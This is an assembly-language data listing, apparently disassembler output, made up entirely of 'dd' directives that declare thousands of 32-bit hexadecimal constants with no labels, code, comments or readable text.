		dd 0D1B7059h, 2B61CBC2h, 70F3F3C3h, 69B66034h, 0B30A0F10h
		dd 0B9A61E8h, 2465261Dh, 18483011h, 1A315910h, 0ED174EE9h
		dd 5EF2C25Dh, 5D028484h, 0C0D3F75Dh, 9F129Bh, 0BE97E67Eh
		dd 0E705810Eh, 76C9462Fh
		dd 577924B5h, 0E200ECB8h, 534FE57Fh, 5CED646Bh,	612A4139h
		dd 8050999Ch, 66030DC4h, 371D2D5Ch, 0C7895812h,	13E7285h
		dd 52B1F113h, 3C359D89h, 0B7EE6B1Dh, 327F007Bh,	0BA61ADA4h
		dd 2B135117h, 0B8859113h, 29C931A7h, 16278704h,	6A2A329Dh
		dd 64210276h, 40AFDA73h, 0B32F54E6h, 0BF0F0582h, 5B04B7F0h
		dd 0D7017D6Ah, 94416B5Eh, 81C041ACh, 10606221h,	90241105h
		dd 0F802DE1Dh, 0B9C6DD09h, 492D602Fh, 0C646822Bh, 0AE7D6400h
		dd 50B333F2h, 9E1500FCh, 96288D70h, 0B0980D08h,	4B2A3D20h
		dd 89D5DB5Eh, 9DE385E7h, 0BCEBCC55h, 233797E6h,	7B0FD91Eh
		dd 74EAC266h, 0E2E84D0Bh, 27C65359h, 4C75C700h,	4663320Ch
		dd 2EC40020h, 170830E4h, 0A2123353h, 3A3A4365h,	6E1F1423h
		dd 3F38EF01h, 1C311767h, 36053E40h, 10D75AE9h, 1CE885EEh
		dd 60728Ch, 9EFAA4D1h, 8B545A0Fh, 4FFDC15Ch, 3ADBC835h
		dd 0BE3A8480h, 47299F26h, 1AD1F173h, 0C43A7818h, 0B9DF0046h
		dd 2A08BF26h, 35165AFBh, 0FEBA05DCh, 0F7AE250h,	0C082B24Fh
		dd 161755CCh, 0ED2E00BFh, 5EB3012Bh, 0A760876Fh, 6E49B8FCh
		dd 0BA2901C4h, 9A6F016h, 4948961h, 7071D324h, 20018B03h
		dd 0E387BBD3h, 0E020463Bh, 1240945Dh, 0F0EAA66Ah, 1CBC494Eh
		dd 0CA84F5h, 0BF1DAFECh, 8E12EB83h, 50E66A70h, 0D38833F0h
		dd 8BE54300h, 0DE7EAC52h, 35B51631h, 4D2FD11Dh,	81660043h
		dd 9CB62DD6h, 98B7348Bh, 5BBB8700h, 9C0868Ah, 0D11EA202h
		dd 9612987h, 0EEAD79C9h, 5745306h, 5EF956DFh, 0C9778090h
		dd 50773444h, 0DC9594h,	0A188E149h, 1F8B1B0h, 0D059D14h
		dd 0DD2394CFh, 33DB7300h, 5BD74Ah, 66F1A996h, 0F40401E2h
		dd 0B3FD4C2Ch, 4877BE00h, 9F5F3876h, 6202F0BDh,	0A0D9B589h
		dd 26BF6681h, 0D5BA9FD4h, 19C4B345h, 6F81460h, 0A9519014h
		dd 0B8DD26ACh, 0F5B119ADh, 0FF022A28h, 0F08B66D3h, 0CDA05AD9h
		dd 0BE80BDBCh, 5B8B5855h, 0B6AF7EE9h, 43575865h, 0D482BC84h
		dd 7252E916h, 362159CFh, 177186A1h, 9C1FA818h, 0E6C04D56h
		dd 3AA6BFBDh, 659D2A8Bh, 29C1898Ah, 4E31A305h, 0D90D3282h
		dd 282B631h, 0BC708BBBh, 0DF20E1F3h, 0B6407ABDh, 4F1C4436h
		dd 2331A989h, 4F63E9C1h, 79B2C817h, 275BB600h, 0F8E7D7A6h
		dd 6BBA17E3h, 52C11ACDh, 509307D1h, 1FF588h, 0BE7388D3h
		dd 5E9A1BB2h, 109F34FCh, 0A46BD75Ah, 0BEEE8422h, 5A00DCF1h
		dd 3CEB2D28h, 12B3F12Ch, 10FC254Eh, 8E4ABA3Eh, 0C01BC8C9h
		dd 3D7E7D34h, 35D65706h, 5B5489ACh, 6F2E7522h, 8BFB02C6h
		dd 292825B5h, 531148F3h, 0B5D8604Fh, 7283113Dh,	9031408Ch
		dd 2DD56058h, 7910C2DBh, 0B508B1D0h, 610C9F1Ah,	0B78B29FEh
		dd 9F6F9012h, 0B4EF9E0Fh, 4799F7C0h, 0E9517254h, 6E888422h
		dd 2F86B0DBh, 0E62B40B0h, 646E705Ah, 71E40F02h,	0D7AB503h
		dd 0A86B139Dh, 0B506BAF3h, 0CC96E63Dh, 0D8F1ED09h, 0CE813A5Bh
		dd 678913A7h, 0FFC03CCDh, 9E55012h, 0A9B52BFAh,	65C7F629h
		dd 6D6214C4h, 4270996Ah, 0B84FD704h, 0A2F97C13h, 1326E4Ah
		dd 0E2B9E30Dh, 0CB20F98Ah, 52145A7Eh, 0A02EE7B5h, 9893449h
		dd 0D7130203h, 0B1955A04h, 0D90C9CD6h, 98DFCE27h, 0B0F6380Ch
		dd 81AF9B5Bh, 18B0D299h, 50763221h, 207DAEE0h, 0DDAB9524h
		dd 98B7C609h, 8D1182h, 0E145DFBFh, 291B37ACh, 1089732Fh
		dd 304BBAh, 0DC748509h,	0B156B805h, 0DF142C02h,	429025C0h
		dd 0C04CED60h, 0DD58BF6h, 5B188A3Ch, 0C2322449h, 0C4F3EDEEh
		dd 2A9E950Ch, 103809Ch,	0B52ED1BDh, 0E0B78B2Bh,	29FFAC09h
		dd 0C0DA6DB7h, 0BC6FCD7Eh, 0FB01A305h, 0F3B2FCAAh, 9B283800h
		dd 7EA68CCEh, 0BCB6101Eh, 4BCB5584h, 5781C895h,	0E2690129h
		dd 0C6050148h, 0E9587391h, 5B93B87Eh, 5D07480Ch, 2FD37A5h
		dd 8A0F90AAh, 0C785F1D9h, 17B68E58h, 0FC301CA2h, 0E368010Fh
		dd 0B196F32Ah, 9500306Ch, 19161D5Bh, 5BFD1393h,	9BA6E37h
		dd 0A983E58Bh, 4F15785Dh, 3006C92Ah, 0EE16E820h, 34C97668h
		dd 8ECB2EF6h, 6DF52D91h, 0AFA6D335h, 0FA9977A0h, 75DF312Eh
		dd 0F396900h, 95419589h, 0A65B4384h, 91A2E07Dh,	0B913168Ch
		dd 0C81CCEB2h, 5EEDC117h, 0FDBEAE1h, 0F90C0611h, 8B0D38E9h
		dd 0DE9BC04Fh, 32F93880h, 9BEC226Eh, 0CAA05171h, 5F810B61h
		dd 4FBD4720h, 0BFD8D021h, 0F4B41B47h, 0D589239Fh, 0B5E49330h
		dd 0E312E656h, 1273DFA4h, 5557C9Dh, 0A30FB1AAh,	69DA4AC6h
		dd 7B367680h, 0A904EA33h, 0AE97C1Dh, 0F15EBD40h, 2A059F8Dh
		dd 0ED694517h, 51C9CFA3h, 0E602D4Fh, 92192322h,	0D8E91673h
		dd 4BEE9DB6h, 0C018881Ah, 6BF2F669h, 0DD95C551h, 7E756E15h
		dd 3168A381h, 0C9409366h, 0A6E4C4Ah, 0B428939h,	0E4E58CBEh
		dd 60EB02F7h, 0A07A079Ah, 0AD2047F0h, 48B8051Dh, 826B3CCBh
		dd 5B898E24h, 9BF9C085h, 74AC99Dh, 0B8F06C3Ah, 4EC07292h
		dd 63C7C860h, 0F59E801Ch, 0EFF15080h, 0EA8D89A1h, 2973A033h
		dd 256158C8h, 2CC2D52Fh, 0F8017B7h, 173B728Fh, 15AA246Ch
		dd 33C1BB52h, 0C79D00D5h, 8DF4534Ah, 90DF0164h,	4F942D0h
		dd 66BECD2Ch, 0F983F041h, 320065Bh, 7C9E09CBh, 0AC5D2EE3h
		dd 6C0D698Bh, 57BC7Dh, 0C0219A82h, 49014357h, 3C4A769Fh
		dd 0F270111Dh, 3BF42547h, 2D201B50h, 95F0606h, 0D92FA98Dh
		dd 0FFF8711Ch, 0DBD2944h, 852C54B9h, 0E8BE40D5h, 4148A5BBh
		dd 0CFB6C09Fh, 0F294B748h, 1718054Ah, 0E9C18B23h, 0B2B833h
		dd 0B4787401h, 0F9BF0F53h, 41BE5E00h, 0EB408280h, 7EEE9604h
		dd 5F1F1846h, 0DA340098h, 25B50B50h, 36F92C9Ah,	5D5FF0B5h
		dd 0BEC602FBh, 775444DFh, 9A6F2D1h, 121F8108h, 0CB90550h
		dd 0F0D4A11Ch, 4C0FDBEFh, 0F4601597h, 20F510CCh, 11445A2Dh
		dd 2116200h, 9646F189h,	169576AEh, 0A65DB842h, 0E0854FF1h
		dd 69857D08h, 38816FB7h, 2DCF4174h, 0D898BB78h,	0FE484CD7h
		dd 0BF92D43h, 81F637A6h, 699D89B9h, 8B900028h, 0DE0797FEh
		dd 0B52370F8h, 62A23541h, 490D4556h, 203F0E9Eh,	0E1970F72h
		dd 0B36C0E01h, 2CA9B589h, 0A6895F02h, 4779676Ah, 112861AFh
		dd 618D4107h, 0D22C6914h, 1723183Ah, 3067C603h,	0F6AC1215h
		dd 5AEFA812h, 0FA026E6Eh, 0E5F1A6E9h, 6F0C6AE0h, 4FC92549h
		dd 74CD6813h, 34A202Ah,	0AB008D45h, 0C47B21B7h,	1DA1EA9Bh
		dd 583B4782h, 0ACD79A60h, 0A4A81E54h, 5E611B02h, 0D10901E9h
		dd 4CE1628Ah, 0D4A37412h, 0F61DAB02h, 8259FB0Eh, 7C1CB9F7h
		dd 0D59D9ECh, 12656A3Ah, 231C49FAh, 185D9D84h, 15B238E3h
		dd 5C9DA30h, 35F63BBEh,	48A9A346h, 418A7085h, 0AC69F84Eh
		dd 0F5059C22h, 4B2FBD83h, 5D228EA2h, 1BC44785h,	0E6379160h
		dd 97424E04h, 0DFCD07Ah, 8478E480h, 77FAA5AFh, 0FD928502h
		dd 0F466E94Eh, 0F900F6C2h, 625019EFh, 2EDA5F2Ch, 34CA7073h
		dd 24CFF3D4h, 3017538Bh, 1888B5CFh, 0CC7356C0h,	3186527Ch
		dd 0CE818870h, 9C80C609h, 0EBD0082Ah, 706CD34Bh, 2B4F48A3h
		dd 554DE68Eh, 770BD8BCh, 42D5383Ch, 0EBB54DB6h,	0B02C3BB0h
		dd 0CEFED24Ch, 0A557E036h, 0F2134Fh, 97F6F4A6h,	0C430D0CEh
		dd 0F9163E75h, 0F48835F8h, 0F9379186h, 138A1817h, 881248C4h
		dd 0CA008E79h, 78F52872h, 4945ACFh, 698A042Fh, 4AA3B744h
		dd 801776Ah, 0FB4D6C4h,	41503410h, 40B8A968h, 0DE77EA00h
		dd 25E4D9h, 844AEECCh
		dd 0E53AFBF1h, 80E990BFh, 34792E65h, 0A6AF2617h, 0EC10884h
		dd 9932E91Fh, 0E51980E8h, 1CA1C94Ah, 2EB05F27h,	903B6068h
		dd 0B40E833Ch, 0A2480B5Ah, 0F470E620h, 0E313DC6Ah, 91C571E4h
		dd 3EF0081h, 8981953Ch,	3C1041BDh, 8C18FC79h, 0B11ADB01h
		dd 8E0FCA28h, 60607142h, 9E61D652h, 0DF810087h,	1A015C54h
		dd 0DA211EB6h, 25181DD1h, 38AAF100h, 779FD083h,	0D5CF5F7Dh
		dd 0C078DB40h, 940A6609h, 6B72165Fh, 0F44CDFCh,	67ACC028h
		dd 12B19506h, 0B05F5851h, 0F94BCA00h, 11058A35h, 1FB21059h
		dd 90C8087h, 0E6B09BCEh, 3244520h, 2EAC67BEh, 0B685B070h
		dd 0A0DFE097h, 390C2EE9h, 2A9D0B4Bh, 830F6CC8h,	0A5116E95h
		dd 6016C40Bh, 55CB780h,	5F51C4BEh, 73F7A409h, 2DB53188h
		dd 46442599h, 0E1BD0912h, 0ECED5D84h, 28C14A8h,	53BE664Fh
		dd 0A790E82Ch, 0E50027B0h, 7134F1A7h, 5FFCB59h,	0B509F525h
		dd 0FC0FD5B1h, 846E4BF7h, 0FAB00E7Dh, 0E3F35D12h, 885276BCh
		dd 0F55F12A8h, 11B08857h, 4CA6BC17h, 0A5BFAD12h, 98E8D8FFh
		dd 58B7095Bh, 2729A53h,	0F91065B4h, 0E7A2A7B6h,	0FBFE01AEh
		dd 40A400F4h, 0D9059FAEh, 9A9936F1h, 21804C80h,	3E4A45EEh
		dd 10803DA9h, 0D791AF70h, 5159BD8Bh, 0F5F00A5h,	0DE81F3B7h
		dd 56B9162Fh, 8805C94Dh, 27151DB2h, 0E06DE38Bh,	0A2E360C0h
		dd 0BCB91275h, 89BB0BC5h, 0F75B89F2h, 86280D4Ah, 0F5BD3382h
		dd 2DECD12Bh, 5C0D5EDh,	3889A4DCh, 68417D9Dh, 2BE18D0Ah
		dd 71E06C76h, 0DA28D632h, 0F8049234h, 22159D29h, 7CD961FDh
		dd 4D5B12B9h, 0B37FE069h, 0BA3BEEFCh, 0BC7DDD2Bh, 0E8012D1Bh
		dd 0C8399F68h, 13007AE0h, 0A345114Fh, 25B57158h, 5C41503Fh
		dd 1CDBC65Eh, 0E8F4917h, 60C01688h, 4AE9869Bh, 2167B37h
		dd 5388B34Bh, 7D4C40B2h, 0A607B626h, 82260DDh, 0EE024B19h
		dd 411CC24Fh, 0B938DA27h, 9A58259Ch, 0AAF98000h, 0BD436BF0h
		dd 4AC7EEDCh, 57F0D085h, 1E0468D5h, 959D0150h, 0A34A2CE2h
		dd 3119A235h, 75DCF4A9h, 0CD3ED32Ch, 0FF04CA96h, 610B1E65h
		dd 5F9A3967h, 0DECAF60Ah, 4DB3FE02h, 566EF121h,	0A35E69D6h
		dd 8D09A968h, 6B35F908h, 0D41724Dh, 29F03FCAh, 0C5EC0B76h
		dd 0B9716AC2h, 64B16549h, 0E00E631Ch, 9A09BCAh,	8892B95h
		dd 284B31F8h, 8D82DFA2h, 900115B1h, 498012E9h, 6D471474h
		dd 97003099h, 6E28F558h, 9AC05D8h, 0C4B4955Bh, 0F66042E2h
		dd 0F802A65h, 0CD0B4B8Ch, 5696D70h, 4125E781h, 0FFB8B1ADh
		dd 550174FEh, 23F145EFh, 842A85BDh, 0E2AAE6CCh,	0BD37558Bh
		dd 0E2502B0Fh, 0E93ABF66h, 9017053Eh, 22C31965h, 2DB5B5A0h
		dd 50F0B283h, 0FB8BAA5Ch, 3D3B7019h, 2A0F200h, 0B2E211C2h
		dd 4DC60581h, 0AD4CAB9Bh, 13CB8FFh, 1FD6B180h, 298EBCECh
		dd 27BBB8D9h, 4FE277E9h, 6BE0116Dh, 1235E70Ah, 5600E03h
		dd 0C289D029h, 305F0DB7h, 166B1245h, 0B1671BA5h, 134F5EBh
		dd 23830AE8h, 1416E03h,	0CD3A93E8h, 0BFED7328h,	0A0E83544h
		dd 0BF9815Fh, 22BB1079h, 8B07DF73h, 0EFE1AEF2h,	5B200299h
		dd 0AB4C1DB7h, 0FBC78015h, 5E7D5666h, 37605F27h, 0D04C3F86h
		dd 8FB0296h, 0AE70B941h, 0F78F26E5h, 65DDCE70h,	68450234h
		dd 185D8D21h, 0DB604B6Fh, 382373h, 79B713E2h, 858BBC76h
		dd 6657CD60h, 0CA23EAB8h, 0A5D4A56Ah, 23C6AECDh, 5492058h
		dd 0C295FBECh, 8841D243h, 49952965h, 8309FAB1h,	0F88901E1h
		dd 0A1D4CB33h, 4BA1DAD0h, 45870F57h, 8F0CBDC0h,	27BC9251h
		dd 35A95EA8h, 4D3BA725h, 3290C067h, 37002ABFh, 8B340EB9h
		dd 0CD6061C6h, 4DAD2DB8h, 0B8232903h, 0ADE19527h, 0CE04042Fh
		dd 82102EF1h, 49900222h, 1EE91CD2h, 9D49B650h, 2D1AEE28h
		dd 8B83ED37h, 0FBEB1428h, 0C739A0F7h, 87D7A50Ah, 98199D0Bh
		dd 7A7B8C4Dh, 746E0A2Fh, 0C91336Fh, 1D958B04h, 0C5BD422Ah
		dd 27BC080Eh, 9EC02FCDh, 14BA49A4h, 0D8DCC780h,	7D8523C7h
		dd 0C5AE01C5h, 0B74E670Ch, 5C944BDh, 6AE81669h,	62943E25h
		dd 2DB55601h, 4F2ACFCAh, 0B72B200Bh, 5AD56A08h,	0EBA92984h
		dd 4B4BBE51h, 6D8C7FDBh, 29419950h, 0E2C5B4CFh,	5523E972h
		dd 1BEC5BDh, 28FB8F8Eh,	89EABAE4h, 0DC74DEF6h, 0F3106102h
		dd 49DCF414h, 0ED1D24D3h, 490BC59Dh, 418875FBh,	4202F53Ch
		dd 5B50890Ch, 0DC6AB6h,	7BE11A6Bh, 7A298084h, 2358B55h
		dd 2E19DEDBh, 0B23738A7h, 68DD2381h, 1D2AF9E1h,	62A50B0h
		dd 69B53158h, 6957FBC7h, 2C098541h, 8B0EE15Ch, 4A14422h
		dd 398D8951h, 0CC5E0A08h, 939372Fh, 7271491Bh, 90BFB803h
		dd 266002F0h, 85C7FD23h, 0C4AB0D5Bh, 59FC6678h,	57BCF261h
		dd 7BE4C704h, 39C1EBB9h, 7E6FE99Dh, 0DB7807B5h,	0A2F99509h
		dd 5D30B263h, 70002537h, 80FB67C7h, 922628C6h, 0BAC128D5h
		dd 0F0110DC7h, 2031EA81h, 144CC209h, 414D3F21h,	8D93FFE7h
		dd 0FE5AA185h, 286450E4h, 0EE7035FFh, 0BE97B289h, 2B58C194h
		dd 0F01A92C2h, 8166A000h, 905A4D38h, 0D812451Bh, 3C0750B7h
		dd 3A81D003h, 5C194566h, 2D8EF484h, 0E924100Bh,	0C8C788D9h
		dd 0A9204890h, 40031914h, 88064F3Ch, 1E18B5C2h,	12627D8Bh
		dd 503085Dh, 1C5B61F8h,	9BD1030Ch, 0DB4D2233h, 51121008h
		dd 8F640A24h, 83056D05h, 2FD804C4h, 0A7BB88Bh, 0B0A98110h
		dd 59B53014h, 0C306C033h, 3135BD83h, 24E1C850h,	6585C684h
		dd 47003BBCh, 9AA7D268h, 0B516FFD4h, 0DAF42095h, 0FDA33BDDh
		dd 6D0487Ch, 13820868h,	0D3F7211Dh, 0AC6E2B60h,	54B8A300h
		dd 0AF433DD2h, 0B356AA01h, 30BD8D2Bh, 728C0F01h, 0CAB5052Ah
		dd 0E901C08Bh, 0F88AB3F1h, 2ACDDE88h, 1209758Ch, 74184499h
		dd 53501918h, 4F38B838h, 0C9E7E404h, 249D71A0h,	15FCE220h
		dd 22585BD3h, 20211788h, 32DF13E2h, 76CE9941h, 1D4DF0E2h
		dd 13CC0638h, 0BA0E4BF9h, 0E8DF8197h, 7A6F0827h, 0DD670616h
		dd 4EBE15C4h, 0BF2590F1h, 0EAD0E8C8h, 0EE592E6Dh, 5DE4AA4h
		dd 0F6B0D04Eh, 0CC5B043Bh, 0A097F707h, 0CF0BD4Fh, 0F5EE6784h
		dd 165CB1A0h, 0C2EC815h, 296799E8h, 65D9D2Fh, 4E30F999h
		dd 0BF46C491h, 200066Eh, 65EF7550h, 65D767E8h, 249EC6C8h
		dd 9A39CCh, 287DE6B4h, 9F1BDC26h, 0CE7C7AA3h, 1B7BDADh
		dd 0BC60FD00h, 17A888A2h, 0A0115E5Dh, 222FE8B0h, 41604F07h
		dd 0F0D77DCFh, 0CE628B66h, 0E40D31A8h, 0FC0445D7h, 1217CFB9h
		dd 0D556EBE8h, 0ADE071A6h, 3900072Fh, 81B4D78Dh, 31B830DEh
		dd 157A684Ah, 88DE6A25h, 2B0FC80h, 68484932h, 0E8F20466h
		dd 7AFF0694h, 2D0F020Ch, 403DFC38h, 9857ED23h, 26F77C38h
		dd 90FE5951h, 0E0804B2Eh, 0B85416EEh, 46A19D43h, 8952E861h
		dd 25D98085h, 6D942D43h, 626EFAh, 67AE58CAh, 2C16DAE8h
		dd 8141A44h, 0A03034A1h, 0C8F3C360h, 0B82147Ch,	0E40F2DB5h
		dd 826D77A2h, 0F02A66C0h, 0FEE84D16h, 0D6813047h, 3C2D17B1h
		dd 21492C8Bh, 8CC5DC49h, 2FE7E8BBh, 26F1658Bh, 5BF5A1EDh
		dd 0FDECC00Ch, 2CD2C38h, 0E8FC9745h, 7F7305B7h,	45E0D0h
		dd 2C067C4Ch, 8D237703h, 8025A529h, 1F243D08h, 33E12429h
		dd 754E7DD5h, 0BB8036DBh, 1E06C55h, 21A59514h, 9992536h
		dd 72FA5BC7h, 8AA0F8FCh, 0A0502D57h, 6609B3FAh,	0F5719436h
		dd 0C03A4D9Fh, 0BD501A18h, 0C1DF1B01h, 89733AD1h, 22405E1h
		dd 4D82BE8h, 0BB64D8DFh
		dd 87C84602h, 4BA92866h, 9BB34A30h, 7CE581B7h, 9B2EB0E9h
		dd 1F95C7B8h, 0C4CB1F2Eh, 0EA3709B9h, 844DF40Dh, 0AC26EDBDh
		dd 0F2BDA4CEh, 6E21C0A9h, 0D276971Ch, 0DD1CAC2h, 4BD953h
		dd 37AE68F4h, 8B255FDDh, 0E164C3h, 60DEAC32h, 584BE357h
		dd 0A7D64900h, 0FA8B5628h, 0BAA5E35Eh, 0B4542B6Ah, 9509B12Ch
		dd 2B4592Dh, 611B509h, 71D4D312h, 0B94B30F2h, 1A977E92h
		dd 60794D19h, 8A3637E1h, 509F1305h, 11BDC688h, 128C15ACh
		dd 0A65B2A17h, 7FDBE017h, 4CB371E4h, 0A30597D0h, 9598656h
		dd 58E25DA5h, 0DA408FFCh, 29A2CCFh, 0B999442Bh,	38561A89h
		dd 88151DDCh, 0ACF41295h, 49E89328h, 4F0A21F7h,	0AF6BE8AEh
		dd 0AA95A190h, 420B4096h, 80EAB704h, 0C8DB0A67h, 0A262B102h
		dd 7B171DF2h, 8DB1D037h, 3803DF07h, 0B9301FC2h,	518A1691h
		dd 0DB2B9410h, 94C98074h, 188E68D4h, 0F15F526Bh, 0B95A8529h
		dd 0F1952990h, 0F491BE15h, 80F75500h, 7BB00BE2h, 1B35DE5h
		dd 0BA0DB41Ah, 41E0344Dh, 1E388FB5h, 46E1502Eh,	0B53D9D09h
		dd 0F9BDDFA0h, 5FD4B7DAh, 0F282C037h, 40B59AFEh, 0A416350Bh
		dd 80F97089h, 1AFCAFB1h, 277834B3h, 4152039Eh, 1E13B966h
		dd 8DA6AB4Eh, 2A0FD0E1h, 5327670Ah, 9F102039h, 0DCD39482h
		dd 1A177A54h, 8DE0E0F6h, 48314A5Ah, 2C696AA8h, 810BB05Dh
		dd 80C11688h, 0AC886355h, 3E280E9Dh, 690D194Dh,	0C3DB4DAAh
		dd 67A85C5Ah, 0CD2A9529h, 0B5E65418h, 9226DD29h, 0A1213D08h
		dd 276D278Eh, 0FB675C0h, 94A70202h, 1EB1D83Ah, 5417EC82h
		dd 50F65B1Ah, 2371CCE8h, 0CF5C2803h, 32F7B41Eh,	75BEF1ACh
		dd 0B7B79050h, 0C09F1C52h, 0EACF0818h, 5C146FEDh, 5B82FE8Bh
		dd 0DE15DB6h, 801FE461h, 0A1937A2Ch, 0C257FD11h, 83BED2E0h
		dd 0F1803E01h, 0DDBD032Dh, 0A809933Ah, 0E8972B4Dh, 0A4310191h
		dd 21CB5B5Ah, 89207AC7h, 92068Ah, 2DB2D020h, 624516BDh
		dd 892F8F0Fh, 93E50A4h,	0C11F527Bh, 67CE884Bh, 2E3F8090h
		dd 0C21D83CDh, 5EA89D52h, 4DE6E24h, 0C19834Fh, 0E10144FFh
		dd 0EF041320h, 0B9002259h, 250557A2h, 0F99BC34Ah, 0BE664080h
		dd 8A0BBCE9h, 7E830FC5h, 0EA0EC4E5h, 1C23233Fh,	472C0A00h
		dd 12C935B5h, 0B23E269Ah, 7BF74EFBh, 2E029400h,	6ACA961Ah
		dd 0ECB80B05h, 0E5A25A87h, 0DAC40C00h, 8F5453AAh, 0CFD6E101h
		dd 6D8E72E8h, 16EE59F0h, 9E5FEBEDh, 15818477h, 84D6F827h
		dd 0DF2C2320h, 0B5096000h, 0B5FA1C91h, 0A7F92E4Ch, 9392723Ah
		dd 3910781Bh, 48B5D000h, 66AB969Dh, 0F3E0D634h,	0B02D46EAh
		dd 1E6D7EFh, 21A87CEEh,	99626D86h, 90CB41ECh, 74DF4F30h
		dd 0BFBB1E50h, 29CD6D49h, 63486BC0h, 1FA40114h,	0BAD566AAh
		dd 80E22860h, 0EE180B0Ah, 0CC8700BEh, 0C41E5F50h, 0F472801Ch
		dd 8A30B1A3h, 3DC388F9h, 0D5A7A261h, 83816F37h,	94B31768h
		dd 0DE6540A4h, 7046330Ch, 50DA92C5h, 170BC7D8h,	0E607FE68h
		dd 0C1C8E003h, 6DCD09E4h, 21108E0Fh, 11209D03h,	6F08BD25h
		dd 0B308D658h, 579E85Ch, 0B850A280h, 246E4A4Ah,	0A2D01912h
		dd 756A000Fh, 9BBE9AF1h, 16E30B34h, 23EA820Fh, 0FD01E251h
		dd 0AE8FFB44h, 89607682h, 0E1744D9Dh, 52F12FBBh, 0BD20D270h
		dd 0E0A5B8DCh, 0F7CE9771h, 0E658A093h, 127BE38Dh, 0F00FB6C0h
		dd 17D52E2h, 3387417Ch,	12AC9BDh, 0F363D1FFh, 64301AA2h
		dd 0E62A000Ch, 0BBDB9C9Bh, 932D3707h, 0DAC50009h, 0BB9051Fh
		dd 2DCE827Bh, 0ED16C154h, 1BA8FFC4h, 0CEFB579h,	34B88360h
		dd 8A0B05AEh, 0B6026ADDh, 350FE05Bh, 0CD053E9Bh, 318882DAh
		dd 900EF20Ah, 8950CE8Ah, 0D97E0B29h, 1CAD3899h,	9F002A3Dh
		dd 29AB71B6h, 0B6C95D8Dh, 0D42E90Bh, 156234F1h,	233DD768h
		dd 64C98039h, 1A2F4A9Bh, 0DB88495Dh, 0B17062BCh, 0BD238D09h
		dd 816F4035h, 1DF409EFh, 3B8151C9h, 3BFDB959h, 6979E130h
		dd 0E0D213A9h, 6EDE4790h, 0BD8B6186h, 4C47A595h, 2E29F26h
		dd 3195EBD0h, 257EF82Ch, 366FFAEDh, 3059DB2Fh, 0F5FF6A87h
		dd 16F1B521h, 1AE2D123h, 701C930h, 19A06FA1h, 0A5856133h
		dd 1016220Ch, 0E9122875h, 3394E2F2h, 85B0FF39h,	0E6DA2980h
		dd 311AC470h, 71E40508h, 0D5304BBDh, 8AD3803Bh,	0C818B6F2h
		dd 153097B3h, 0CB7CB407h, 8340925Eh, 4625EFCh, 5F26FD7Ah
		dd 0F3CF8014h, 5B0B70D4h, 42F8C18Bh, 537F344h, 0A19BB1BFh
		dd 33C96B48h, 0C283D8h,	769463C8h, 538FD6A1h, 2B8DAB1Eh
		dd 5DAB8CF5h, 0BFD180BBh, 72E9B7BBh, 0FB750F74h, 0D891C6A4h
		dd 0D1C6E80h, 18160E6Bh, 4641B950h, 85892E19h, 0BF02E83Dh
		dd 7B71BEAAh, 416A3EC2h, 45A517A4h, 9610D03Bh, 0DE766557h
		dd 0FB99ADACh, 337CC2E2h, 0D16B8269h, 62695E2Bh, 22931D84h
		dd 1880A5E2h, 6E380FEh,	3626895Ah, 17C3125Ah, 4FAE235h
		dd 197B58Dh, 0A134DD84h, 0AADB40EAh, 52B746C0h,	2B172079h
		dd 4BE66ABAh, 99A94EF0h, 0EB05747Fh, 7BC5D32Ah,	0FCD2F8A8h
		dd 17D03C57h, 8D918D01h, 202AB961h, 1495B5D4h, 0FC5082A4h
		dd 141B9ACh, 51DD29DDh,	0C02B2189h, 7A46E40Eh, 6D9D89BAh
		dd 43EE590h, 51501A3h, 0A1888C0Fh, 0B1160E9h, 0DBA75CDh
		dd 2F4D2901h, 570A3BA7h, 1099DD8h, 0AD9ED988h, 80D1C233h
		dd 0E983D07Eh, 9FF47504h, 3985B7h, 58B09276h, 308370F4h
		dd 0AAF03AC8h, 532FB72Ch, 4D974A0Dh, 3128E016h,	0A712459Dh
		dd 3CC86D11h, 7A8D005Ah, 4228F91Eh, 0D50053E1h,	16744705h
		dd 2DF815AEh, 56F8B621h, 4D953E9Ah, 0DB3FC205h,	16121057h
		dd 0A7F50BF1h, 7F0BC9C1h, 0E9070D2h, 79AD8D2Ch,	0C2DE509Dh
		dd 0C1031846h, 0ACD2FF08h, 955819B9h, 86F0C493h, 0D87C6B27h
		dd 98E8F500h, 7ACDCB57h, 5DB7B55Eh, 5ACAE600h, 26DF06C1h
		dd 20E22582h, 20D7B061h, 0E97D0A6Dh, 755217C7h,	43C5CF70h
		dd 68410077h, 61C03B55h, 46B89397h, 0E42A2925h,	2751E3C4h
		dd 0B8030E09h, 0C0045684h, 5DB94F66h, 9B0B5AE8h, 0A04527D0h
		dd 0E24DE890h, 0A49D5A33h, 0FF256144h, 705DFBE1h, 0FA997255h
		dd 0CFA5D780h, 12AFA1C1h, 1EDD80B8h, 6905A539h,	8AE1F95Fh
		dd 1DC2A58Fh, 8910807h,	0EE6E2BD9h, 99BD1204h, 353840BCh
		dd 33181F6h, 814D932Ah,	5BBB207Ah, 0B00F4251h, 0A0E395A8h
		dd 72B95345h, 224A9035h, 4B8411A1h, 8AA90140h, 1084CA50h
		dd 860F0308h, 0AE48B463h, 0D6601049h, 940BDC7Ch, 0D85EABAEh
		dd 0DC5DBCBCh, 76EDBB04h, 0B1803C88h, 8221B19Dh, 13404FF6h
		dd 185884h, 0C8902775h,	209670A1h, 3298F434h, 2C5B7EF4h
		dd 2DCE180h, 0C90AD9B7h, 0F8A18885h, 0FEB64E14h, 5C002E2h
		dd 0DE8201E5h, 0F0AD400Dh, 8A007314h, 5C3D758Eh, 612EC1B2h
		dd 0C51A28DFh, 45D661A0h, 0F87BA4C0h, 0E1253379h, 0F45A5415h
		dd 65B9EC00h, 744A3E28h, 41952E01h, 5390828Eh, 0F9465250h
		dd 0E05BB900h, 0A69284FDh, 0A9990214h, 0E15873A2h, 50318E80h
		dd 0CFF15A5Bh, 0EA6090AAh, 6A5F9C4Ah, 61C0759Bh, 90FA3ED8h
		dd 810FA512h, 8564C027h, 0FAF630BEh, 7312E568h,	60AF38FEh
		dd 17227A3Dh, 45C40D01h, 0DA5571F8h, 48DB07CCh,	895F5F57h
		dd 0ADC0BCCBh, 60EA6482h, 3481CCFBh, 70191A24h,	0DA6E38E1h
		dd 3FCDDC4Ch, 0CF87B17Ch, 0E664826Ch, 480256CAh, 6D3610FEh
		dd 9A507052h, 0D3379729h, 0DA48FC00h, 24126DF6h, 8B673E6h
		dd 53B1021h, 0FDEB9685h
		dd 30F00DA6h, 0D7010B17h, 89CFAB2h, 0DE478843h,	0FCE93430h
